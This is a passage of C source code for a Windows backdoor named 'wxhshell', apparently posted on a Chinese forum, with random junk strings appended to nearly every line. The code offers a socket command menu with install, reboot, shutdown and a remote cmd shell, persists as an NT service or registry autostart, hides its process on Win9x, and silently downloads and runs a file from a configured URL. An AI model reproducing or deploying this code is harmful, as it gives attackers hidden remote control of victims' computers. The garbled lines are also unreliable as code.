  } vqLC?{i+  
  else { d[.kGytUt  
2`#jw)dM;}  
    switch(cmd[0]) { $'f<4  
  bQ-5uFe~$B  
  // 帮助 }b9#.H9  
  case '?': { YyX/:1 sg>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \TG!M]D:  
    break; n:?fv=9n  
  } ^4LkKYMS  
  // 安装 F|*{Ma  
  case 'i': { d{.cIv  
    if(Install()) a;Ic!:L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {~ yj]+Im  
    else PUB|XgQDY:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =*.Nt*;;  
    break; 4z-sR/d  
    } 3G9YpA_}X  
  // 卸载 b#-5b%ON  
  case 'r': { pti`q )  
    if(Uninstall()) 9i)E<.6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LxkToO{  
    else XD`QU m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4BG6C'`%  
    break;  Z*d8b  
    } 40pGu  
  // 显示 wxhshell 所在路径 ^e$;I8l  
  case 'p': { N2_j[Pe  
    char svExeFile[MAX_PATH]; (NUk{MTX  
    strcpy(svExeFile,"\n\r"); f\"Qgn  
      strcat(svExeFile,ExeFile); v{ .-x\;  
        send(wsh,svExeFile,strlen(svExeFile),0); 9&}`.Py  
    break; v]g/ 5qI&  
    } e-4XNL[F  
  // 重启 ~R.8r-kD`  
  case 'b': { B&0^3iKFi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b .k J&c  
    if(Boot(REBOOT)) 05:`(vl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *LeFI%  
    else { 3Ak,M-Jp  
    closesocket(wsh); ~V?O%1)k?\  
    ExitThread(0); 9Ot;R?>(  
    } U">D_ 8  
    break; TX]4Y953D  
    } PY: l  
  // 关机 "U34D1I )#  
  case 'd': { }N5>^y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4NL Tt K  
    if(Boot(SHUTDOWN)) "GP!]3t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); irCS}Dbw  
    else { euM7> $`  
    closesocket(wsh); $}<+~JpGfP  
    ExitThread(0); KyW6[WA9  
    } e#K =SV!H  
    break; H,qIHQW#  
    } hG cq>Cvf  
  // 获取shell #d%'BUde  
  case 's': { fGJPZe  
    CmdShell(wsh); k oo`JHC  
    closesocket(wsh); 3ik  
    ExitThread(0); )J8dm'wH92  
    break; < vU<:S  
  } o|8 5<~`  
  // 退出 s)"C~w^  
  case 'x': { @D8c-`LC"*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :(?joLA  
    CloseIt(wsh); !o 2" th  
    break; DW@PPvfs  
    } y]9 3z!#Z  
  // 离开 m/n_e g  
  case 'q': { dg 0`0k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z %` \p  
    closesocket(wsh); T%K(opISc(  
    WSACleanup(); XJsHy_6  
    exit(1); =)m2u2c M  
    break; UiA\J  
        }  ~%_$e/T  
  } 8Cz_LyL  
  } QRXsLdf$$  
^ng#J\  
  // 提示信息 zcD&xoL\H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9H ?er_6Yf  
} ?hvPPEJf  
  } j$^3  
K+xiov-r?  
  return; a ^<W ?Z  
} =:[Jz1M5  
WV!qG6\W  
// shell模块句柄 Rj9z '?a9  
int CmdShell(SOCKET sock) )I{41/_YA  
{ 4x.'H18  
STARTUPINFO si; vmL% %7  
ZeroMemory(&si,sizeof(si)); "T@9]>6.f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S*],18z?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qyv9]Q1  
PROCESS_INFORMATION ProcessInfo; %d*k3 f }  
char cmdline[]="cmd"; 31 4PcSc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  ^ruS  
  return 0; QIF|pZ+^  
} ;oV dkp  
,rc5r3  
// 自身启动模式 y.2_5&e/  
int StartFromService(void) +:?-Xd:p  
{ 8I$B^,N  
typedef struct *W,"UL6U8y  
{ E~_2Jf\U  
  DWORD ExitStatus; R!;tF|]  
  DWORD PebBaseAddress; ! lgsV..R  
  DWORD AffinityMask; P %f],f  
  DWORD BasePriority; ] o tjoM  
  ULONG UniqueProcessId; +4f>njARIb  
  ULONG InheritedFromUniqueProcessId; Bvzl* &?  
}   PROCESS_BASIC_INFORMATION; *qYcb} ]  
%)8`(9J*  
PROCNTQSIP NtQueryInformationProcess; ,i#]&f`c;5  
"DM $FRI0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YvE$fX=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2Ch!LS:+  
g !w7Yv  
  HANDLE             hProcess; LEvdPG$)  
  PROCESS_BASIC_INFORMATION pbi; G`PSb<h\oc  
mm\Jf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T j9;".  
  if(NULL == hInst ) return 0; /]2-I_WB  
16)@<7b]J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |_8 ::kir:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g<{/mxv/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AZz }  
7$WO@yOsh  
  if (!NtQueryInformationProcess) return 0; !=--pb  
gBUtv|(@>[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bEP-I5j1t  
  if(!hProcess) return 0; AJ`b- $Q  
Bx0^?>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qyGVyi3  
pL8+gL  
  CloseHandle(hProcess); YuSe~~F)j  
YUJlQ2e(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bVSa}&*kM  
if(hProcess==NULL) return 0; E8J `7sa  
+Tc<|-qQn  
HMODULE hMod; OsPx-|f S~  
char procName[255]; zI8Q "b  
unsigned long cbNeeded; A>(m}P  
n c:^)G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &N GYV  
RN238]K  
  CloseHandle(hProcess); &^FCp'J-  
iq-n(Rfw~  
if(strstr(procName,"services")) return 1; // 以服务启动 2-j+-B|i  
,.uu/qV}w  
  return 0; // 注册表启动 hc2[,Hju{O  
} T5.1qrL  
GiJ|5"  
// 主模块 / *xP`'T  
int StartWxhshell(LPSTR lpCmdLine) Q]Q i  
{ >|WNsjkU%  
  SOCKET wsl; _JOrGVmD  
BOOL val=TRUE; aAiSP+#  
  int port=0; #P=rP=  
  struct sockaddr_in door; 7'Y 3T[  
R8P7JY[h  
  if(wscfg.ws_autoins) Install(); &G7JGar  
?Z {4iF  
port=atoi(lpCmdLine); B-ReBtN  
)+RTA y[k  
if(port<=0) port=wscfg.ws_port; [?iA`#^d  
$wH{snX  
  WSADATA data; b>=MG8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^ '!]|^  
.x5Y fe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hH[UIe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xK9"t;!C&  
  door.sin_family = AF_INET; uS<7X7|!0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =z'- B~  
  door.sin_port = htons(port); h2ewYe<87`  
Z0g3> iItM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]N_(M   
closesocket(wsl); f1(V~{N,+  
return 1; c<L^ 1,G2  
} v~e@:7d i  
j*n Z   
  if(listen(wsl,2) == INVALID_SOCKET) { 8PB(<|}u  
closesocket(wsl); _'0HkT{I  
return 1; r-v ;A  
} >J^bs &j  
  Wxhshell(wsl); 0?  (  
  WSACleanup(); WM5 s  
Wk"4mq  
return 0; /"+YE&>\  
'; ,DgR;'  
} ne] |\]  
}GJIM|7^  
// 以NT服务方式启动 N ncur]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B~QX{  
{ i<&*f}='  
DWORD   status = 0; 7YsBwo  
  DWORD   specificError = 0xfffffff; >Lp^QP1gU  
2ikY.Xi6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -hj@^Auf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #Mw|h^ Wm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \c3zK|^  
  serviceStatus.dwWin32ExitCode     = 0; ^ }Rqe  
  serviceStatus.dwServiceSpecificExitCode = 0; A|1 TE$  
  serviceStatus.dwCheckPoint       = 0; /uS(Z-@  
  serviceStatus.dwWaitHint       = 0; e}yoy+9  
<h:>:%#k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _+YCwg  
  if (hServiceStatusHandle==0) return; 0gO<]]M?  
6Ae<W7  
status = GetLastError(); W.TZU'%  
  if (status!=NO_ERROR) 8 7P{vf#  
{ [~9rp]<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '#gd19#  
    serviceStatus.dwCheckPoint       = 0; ] C_g: |q  
    serviceStatus.dwWaitHint       = 0; jOj`S%7  
    serviceStatus.dwWin32ExitCode     = status; 7yo/ sb9h  
    serviceStatus.dwServiceSpecificExitCode = specificError; X5UcemO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B?9K!c  
    return; 9~98v;Z1  
  } #D M%_HXDi  
rq?:I:0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QLrFAV  
  serviceStatus.dwCheckPoint       = 0; Wc [@,  
  serviceStatus.dwWaitHint       = 0; a)=WDRk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T`KH7y|bv  
} qOYCQ  
rStfluPL  
// 处理NT服务事件,比如:启动、停止 l[lUmE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yPrp:%PS  
{ UOHU 1.3$T  
switch(fdwControl) rU<NHFGj4  
{ O 4@sN=o  
case SERVICE_CONTROL_STOP: hNs970i  
  serviceStatus.dwWin32ExitCode = 0; D,%R[F? 5O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g\;AU2?p7  
  serviceStatus.dwCheckPoint   = 0; 3kFSu  
  serviceStatus.dwWaitHint     = 0; w^MU$ubx  
  { {WUW.(^]G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y>wrm:b-O  
  } B5h-JON]-  
  return; ^(y=DJ7  
case SERVICE_CONTROL_PAUSE: ks|[`FH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q(<#7 spz  
  break; +^tq?PfE  
case SERVICE_CONTROL_CONTINUE: YY-{&+,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nD6mLNi%a  
  break; CY;ML6c@  
case SERVICE_CONTROL_INTERROGATE: d2lOx|jt  
  break; 4<._)_m  
}; oR (hL4Dc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v(D{_  
} Au jvKQ(  
HL$}Gh]q  
// 标准应用程序主函数 dd1m~Gm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W$LaXytmak  
{ U;Z6o1G  
f"t\-ux.b  
// 获取操作系统版本 V&`\ s5Q  
OsIsNt=GetOsVer(); RN\4y{@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 54~`8f  
4]9+   
  // 从命令行安装 nB"r<?n<  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]jiM  
YVt#( jl  
  // 下载执行文件 @s!9 T  
if(wscfg.ws_downexe) { Kn3qq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <"w;:Zs  
  WinExec(wscfg.ws_filenam,SW_HIDE); V\^rs41$;  
} /.<%y 8v  
D>M a3g  
if(!OsIsNt) { e^kccz2f  
// 如果时win9x,隐藏进程并且设置为注册表启动 4DI.R K9  
HideProc(); ' 7G'R  
StartWxhshell(lpCmdLine); <,p|3p3  
} *O-1zIlp  
else bOjvrg;Sz\  
  if(StartFromService()) Poy ]5:.  
  // 以服务方式启动 o`S|  
  StartServiceCtrlDispatcher(DispatchTable); UwOZBF<  
else .,zrr&Po  
  // 普通方式启动 yoa"21E$  
  StartWxhshell(lpCmdLine); vaL+@Kq~&  
(dD+?ZOO  
return 0; ,73 kh  
}
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只看该作者 1 发表于: 2006-10-10
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